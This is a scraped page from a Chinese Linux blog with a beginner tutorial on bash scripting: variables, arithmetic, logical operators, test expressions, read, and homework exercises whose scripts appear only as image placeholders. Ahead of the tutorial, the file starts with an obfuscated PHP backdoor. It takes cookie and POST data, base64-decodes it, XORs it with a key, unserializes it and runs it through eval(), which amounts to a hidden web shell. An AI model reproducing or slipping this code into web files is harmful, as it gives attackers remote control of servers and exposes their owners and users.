$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Shell脚本编程之入门基础(一) | Linux运维部落

Shell脚本编程之入门基础(一)

Shell脚本编程

 

一、本章节一内容:

   编程基础

   脚本基本格式

   变量

   运算

   条件测试

 

在本章节开始之前,我们先回顾下前面的知识点内容。前面学习了Linux的基础入门,了解到计算机是运行二进制指令的,而我们与计算机底层硬件进行打交道是通过编程语言,而编程语言有低级汇编语言和高级语言(而高级语言,是需要通过编译和解释进一步转换成目标代码以及机器代码,方可令计算机底层硬件识别和执行)。其中JavaC#这类高级语言需要编译器编译成目标代码,shellperlPython该类高级语言则需要解释器解释成机器代码。

在此,我们需要了解什么是编程?

编程就是让计算机为解决某个问题而使用某种程序设计语言编写程序代码,并最终得到相应结果的过程。

而程序是有指令和数据组成,在程序编程风格上,有以下两种风格:

过程式:以指令为中心,数据服务于指令

对象式:以数据为中心,指令服务于数据

今天我们所学习的shell程序,提供了编程的能力和解释执行。

 

二、初步了解与学习shell脚本(编程):

学习shell编程前,先了解下编程的基本概念、shell编程语言的结构及shell的脚本基础:

1、编程的逻辑处理方式:

   顺序执行、循环执行、选择执行

2shell编程:

   过程式、解释执行

   基本结构:数据存储(变量、数组)、表达式(a+b)、语句(if

3shell脚本是包含一些命令或声明,并符合一定格式的文本文件,格式上要遵循首行shebang机制,如:

  #!/bin/bash

4shell脚本的用途:

  自动化常用命令

  执行系统管理和故障排除

  创建简单的应用程序

  处理文本或文件

5shell脚本的格式:

1)使用文本编辑器来创建文本文件,如vim。第一行必须包含shell声明序列:#,注释要以#开头。

2)脚本的运行:要给予执行权限,在命令上指定脚本的绝对路径或相对路径;直接运行解释器,将脚本作为解释器程序的参数运行。

事例:

blob.png                                            

6shell脚本的调试命令:

1)检测脚本中的语法错误:bash -n /path/to/**.sh

2)调试执行:bash -x /path/to/**.sh

 

三、在shell脚本编程中,涉及到变量是使用,下面先了解shell脚本中的变量是如何使用的:

1)什么是变量?变量数据存储方式?变量类型的作用?变量有哪些的类型?

   变量:命令的内存空间

   数据存储方式:字符;数值(整型、浮点型)

   变量类型:强类型(定义变量时必须指定类型、参与运算必须符合类型要求;调用未声明变量会产生错误,如:JavaPython)、弱类型(:无须指定类型,默认均为字符型;参与运算会自动进行隐式类型转换;变量无须事先定义可直接调用,如:bash,不支持浮点数)

   变量类型的作用:数据存储格式、参与运算、表示的数据范围

2)根据变量的生效范围等标准:

   本地变量:生效范围为当前shell进程;对当前shell之外的其它shell进程,包括当前shell的子shell进程均无效

   环境变量:生效范围为当前shell进程及其子进程

   局部变量:生效范围为当前shell进程中某代码片断(通常指函数)

   位置变量:$1, $2, …来表示,用于让脚本在脚本代码中调用通过命令行传递给它的参数 

   特殊变量:$?, $0, $*, $@, $#    

本地变量

环境变量

位置变量

变量赋值

name=’value’;直接字符串赋值为:name=”A”;变量引用:name=”$A”;命令引用:name=’COMMAND’’,name=$(COMMAND)

export   name=varlue

declare   -x name=value

在脚本代码中调用通过命令行传递给脚本的参数

变量引用

${name},$name,其中””为弱引用,变量引用会被替换为变量值;’’为强引用,变量引用不会被替换为变量,而保持原字符串。

${name},$name

$1,   $2, …:对应第1、第2等参数,shift [n]换位置

$0: 命令本身

$*: 传递给脚本的所有参数,全部参数合为一个字符串

$@: 传递给脚本的所有参数,每个参数为独立字符串

$#: 传递给脚本的参数的个数

注:$@ $* 只在被双引号包起来的时候才会有差异

变量查询

set

export

env

printenv

变量删除

unset   name

unset   name

注:bash有许多内建的环境变量:PATH, SHELL, USRE,UID, HISTSIZE, HOME, PWD, OLDPWD, HISTFILE, PS1

  只读变量:readonly namedeclare -r name(只能声时,但不能修改)

 

3)变量命名法则:

  a、不能使程序中的保留字:例如if, for;

b、只能使用数字、字母及下划线,且不能以数字开头

c、见名知义

d、统一命名规则:驼峰命名法

 

四、算术运算、逻辑运算、赋值:

1、算术运算:

   bash中的算术运算:help let

+, -, *, /, %取模(取余), **(乘方)

实现算术运算:(1) let var=算术表达式

(2) var=$[算术表达式]

(3) var=$((算术表达式))

(4) var=$(expr arg1 arg2 arg3 …)

(5) declare ivar= 数值

(6) echo ‘算术表达式’ | bc

注: 乘法符号有些场景中需要转义,如*

   bash有内建的随机数生成器:$RANDOM1-32767

   echo $[$RANDOM%50] 0-49之间随机数

2、逻辑运算:

1true 1false    0

2)与:&&

    1 与 1 = 1   

 1 与 0 = 0   

 0 与 1 = 0   

 0  0 = 0   

3)或:||

    1 1 = 1     

 1 0 = 1     

 0 1 = 1     

 0 0 = 0     

4)非:!

    ! 1 = 0

  ! 0 = 1

短路运算:

短路与:

短路或:

异或:^

第一个为0,结果必定为0

第一个为1,第二个必须要参与运算;

第一个为1,结果必定为1

第一个为0,第二个必须要参与运算;

异或的两个值,相同为假,不同为真 

3、赋值:

 增强型赋值:+=, -=, *=, /=, %=

 例如:let count+=3;自加3后自赋值

 自增,自减: let var+=1

 let var++

 let var-=1

 let var–

五、命令的聚集及退出状态:

1、两种聚集命令的方法:

复合式:date; who | wc -l ;命令会一个接一个地运行

shell(date; who | wc -l ) >>/tmp/trace;所有的输出都被发送给单个STDOUTST DERR

2、退出状态:进程使用退出状态来报告成功或失败

0 代表成功,1255代表失败

$? 查询变量保存最近的命令退出状态

 例如:$ping-c1-W1hostdown&>/dev/null$echo$?

     bash自定义退出状态码:exit [n]:自定义退出状态码

注意:脚本中一旦遇到exit命令,脚本会立即终止;终止退出状态取决于exit命令后面的数字;如果未给脚本指定退出状态码,整个脚本的退出状态码取决于脚本中执行的最后一条命令的状态码

 

六、条件测试、bash测试类型、read命令:

1、条件测试:判断某需求是否满足,需要由测试机制来实现;专用的测试表达式需要由测试命令辅助完成测试过程;评估布尔声明,以便用在条件性执行中:若真,则返回0;若假,则返回1

   测试命令:test EXPRESSION [ EXPRESSION ] [[ EXPRESSION ]]

   执行操作符:&& ||

注意:EXPRESSION前后必须有空白字符

2bash的测试类型:(用于字符串比较时的用到的操作数都应该使用引号)

  A、数字测试: -gt: 是否大于;-ge: 是否大于等于;-eq: 是否等于;-ne: 是否不等于;-lt: 是否小于;-le: 是否小于等于

  B、字符串测试:==:是否等于;>: ascii码是否大于ascii <: 是否小于 !=: 是否不等于 =~: 左侧字符串是否能够被右侧的PATTERN所匹配

注意: 此表达式一般用于[[ ]]中;-z "STRING":字符串是否为空,空为真,不空为假-n "STRING":字符串是否不空,不空为真,空为假

  C、文件测试:

存在性测试

存在性及类别测试

文件权限测试

文件特殊权限测试

文件大小测试

双目测试

-a FILE:同-e

-e FILE: 文件存在性测试,存在为真,否则为假;

-b FILE:是否存在且为块设备文件;

-c FILE:是否存在且为字符设备文件;

-d FILE:是否存在且为目录文件;

-f FILE:是否存在且为普通文件;

-h FILE -L FILE:存在且为符号链接文件;

-p FILE:是否存在且为命名管道文件;

-S FILE:是否存在且为套接字文件;

-r FILE:是否存在且可读

-w FILE: 是否存在且可写

-x FILE: 是否存在且可执行

-g FILE:是否存在且拥有sgid权限;

-u FILE:是否存在且拥有suid权限;

-k FILE:是否存在且拥有sticky权限;

-s FILE: 是否存在且非空;

FILE1 -efFILE2: FILE1FILE2是否指向同一个设备上的相同inode

FILE1 -ntFILE2: FILE1是否新于FILE2

FILE1 -otFILE2: FILE1是否旧于FILE2

文件是否打开

-t fd: fd表示文件描述符是否已经打开且与某终端相关

-N FILE:文件自动上一次被读取之后是否被修改过

-O FILE:当前有效用户是否为文件属主

-G FILE:当前有效用户是否为文件属组

3、组合测试条件:必须使用测试命令进行

  第一种方式:COMMAND1 && COMMAND2 并且 COMMAND1 || COMMAND2 或者 ! COMMAND

 如:[ -e FILE ] && [ -r FILE ]

 第二种方式:EXPRESSION1 -a EXPRESSION2 并且 EXPRESSION1 -o EXPRESSION2 或者 ! EXPRESSION

 事例:# [ -z “$HOSTNAME” -o $HOSTNAME "==\

"localhost.localdomain" ] && hostname www.magedu.com

# [ -f /bin/cat -a -x /bin/cat ] && cat /etc/fstab

4read命令:使用read来把输入值分配给一个或多个shell变量:

-p指定要显示的提示

-t TIMEOUT

# read -p “Enter a filename:“ FILE

 

 

练习与作业:

1、  编写脚本/root/bin/systeminfo.sh,显示当前主机系统信息,包括主机名,IPv4地址,操作系统版本,内核版本,CPU型号,内存大小,硬盘大小。

脚本代码:

blob.png

执行结果:

blob.png

2、  编写脚本/root/bin/backup.sh,可实现每日将/etc/目录备份到/root/etcYYYY-mm-dd

脚本代码:

blob.png

脚本代码执行结果:

blob.png

3、  编写脚本/root/bin/disk.sh,显示当前硬盘分区中空间利用率最大的值

脚本代码:

blob.png

脚本执行结果:

blob.png

blob.png

4、  编写脚本/root/bin/links.sh,显示正连接本主机的每个远程主机的IPv4地址和连接数,并按连接数从大到小排序

脚本代码:

blob.png

  脚本执行结果:

  blob.png

5、  写一个脚本/root/bin/sumid.sh,计算/etc/passwd文件中的第10个用户和第20用户的ID之和

脚本代码:

blob.png

脚本执行结果:

blob.png

6、  写一个脚本/root/bin/sumspace.sh,传递两个文件路径作为参数给脚本,计算这两个文件中所有空白行之和

  脚本代码:

 blob.png

  脚本执行结果:

 blob.png

7、  写一个脚本/root/bin/sumfile.sh,统计/etc, /var, /usr目录中共有多少个一级子目录和文件

  脚本代码:

 blob.png

  脚本执行结果:

 blob.png 

  8、写一个脚本/root/bin/argsnum.sh,接受一个文件路径作为参数;如果参数个数小于1,则提示用户“至少应   该给一个参数”,并立即退出;如果参数个数不小于1,则显示第一个参数所指向的文件中的空白行数

  脚本代码:

 blob.png

  脚本执行结果:

  blob.png 

  9、写一个脚本/root/bin/hostping.sh,接受一个主机的IPv4地址做为参数,测试是否可连通。如果能ping通,   则提示用户“该IP地址可访问”;如果不可ping通,则提示用户“该IP地址不可访问”

  脚本代码:

 blob.png

  脚本执行结果:

 blob.png 

  10chmod -rw /tmp/file1,编写脚本/root/bin/per.sh,判断当前用户对/tmp/fiile1文件是否不可读且不可    写

   脚本代码:

  blob.png

   脚本执行结果:

  blob.png

  11、编写脚本/root/bin/nologin.shlogin.sh,实现禁止和充许普通用户登录系统。

  脚本代码:

  允许:

  blob.png

  禁止:

 blob.png

  脚本执行结果:

 blob.png

  12、判断硬盘的每个分区空间和inode的利用率是否大于80,如果是,发邮件通知root磁盘满

  脚本代码:

  blob.png

  脚本执行结果:

  blob.png

  13、指定文件做为参数,判断文件是否为.sh后缀,如果是,添加x权限

  脚本代码:

  blob.png

  脚本执行结果:

 blob.png

 blob.png

  14、判断输入的IP是否为合法IP

  脚本代码:

 blob.png

  脚本执行结果:

 blob.png

  15、计算1+2+3+…+100

  脚本代码:

 blob.png

  脚本执行结果:

 blob.png

  16、输入起始值A和最后值B,计算从A+A+1…+(B-1)+B的总和

  脚本代码:

 blob.png

  脚本执行结果:

 blob.png

 17、变量类型,区别;位置变量$0 $1,$2,$# $@ $* 

   变量类型:字符型、数值型;强类型、弱类型

   变量类型区别:数值型属于整型、浮点型;强类型在定义变量时必须指定类型,调用未定义的变量会产生错误;弱类型则无须指定类型和事先定义,可直接调用,默认均为字符型。

 

   位置变量$0 $1,$2,$# $@ $*

      $1, $2, …:对应第1、第2等参数,shift [n]换位置

      $0: 命令本身

      $*: 传递给脚本的所有参数,全部参数合为一个字符串

      $@: 传递给脚本的所有参数,每个参数为独立字符串

      $#: 传递给脚本的参数的个数

原创文章,作者:Aaron_wang,如若转载,请注明出处:http://www.178linux.com/33695

(1)
上一篇 2016-08-12 16:06
下一篇 2016-08-12 17:30

相关推荐

  • Linux命令语法及其帮助信息

    一、Linux命令语法 1、通用格式:command options argument 2、Command: 3、Options: 4、Argument: 二、Linux命令帮助信息获取途径 1、help命令 && –help选项 2、manual (1)章节 (2)语法 (3)man命令输出详解   &nbs…

    Linux干货 2016-09-19
  • 第八周作业

    1、请描述网桥、集线器、二层交换机、三层交换机、路由器的功能、使用场景与区别。    集线器(HUB)主要功能是对接收到的信号进行再生整形放大,以扩大网络的传输距离,同时把所有节点集中在以它为中心的节点上。集线器是一种共享设备,HUB本身不能识别目的地址,当同一局域网内的A主机给B主机传输数据时,数据包在以HUB为架构…

    Linux干货 2017-02-27
  • Python修饰器的函数式编程

    Python的修饰器的英文名叫Decorator,当你看到这个英文名的时候,你可能会把其跟Design Pattern里的Decorator搞混了,其实这是完全不同的两个东西。虽然好像,他们要干的事都很相似——都是想要对一个已有的模块做一些“修饰工作”,所谓修饰工作就是想给现有的模块加上一些小装饰(一些小功能,这些小功能可能好多模块都会用到),但又不让这个小…

    Linux干货 2016-08-15
  • 自制Linux

    1. 分区出来两个区 fdisk /dev/sdb     2. 创建文件系统   [root@localhost ~]# mkfs.ext4 /dev/sdb1  [root@localhost ~]# mkfs.ext4 /dev/sdb2 3….

    Linux干货 2016-09-16
  • 控制字体颜色的输出echo[转载]

    http://onlyzq.blog.51cto.com/1228/546459 echo显示带颜色,需要使用参数-e格式如下:echo -e "\033[字背景颜色;文字颜色m字符串\033[0m"例如: echo -e "\033[41;37m TonyZhang \033[0m"其中41的位置…

    Linux干货 2017-02-01
  • 文本处理工具

    文本查看工具 less [les]  查看文件 功能比MORE更强大      -N  显示行号      查看时使用的命令      / OR ? 搜索的内容    搜索关键字 &nbsp…

    Linux干货 2017-04-13

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-15 09:35

    有理论有实践,图片的字体可以尽量大点,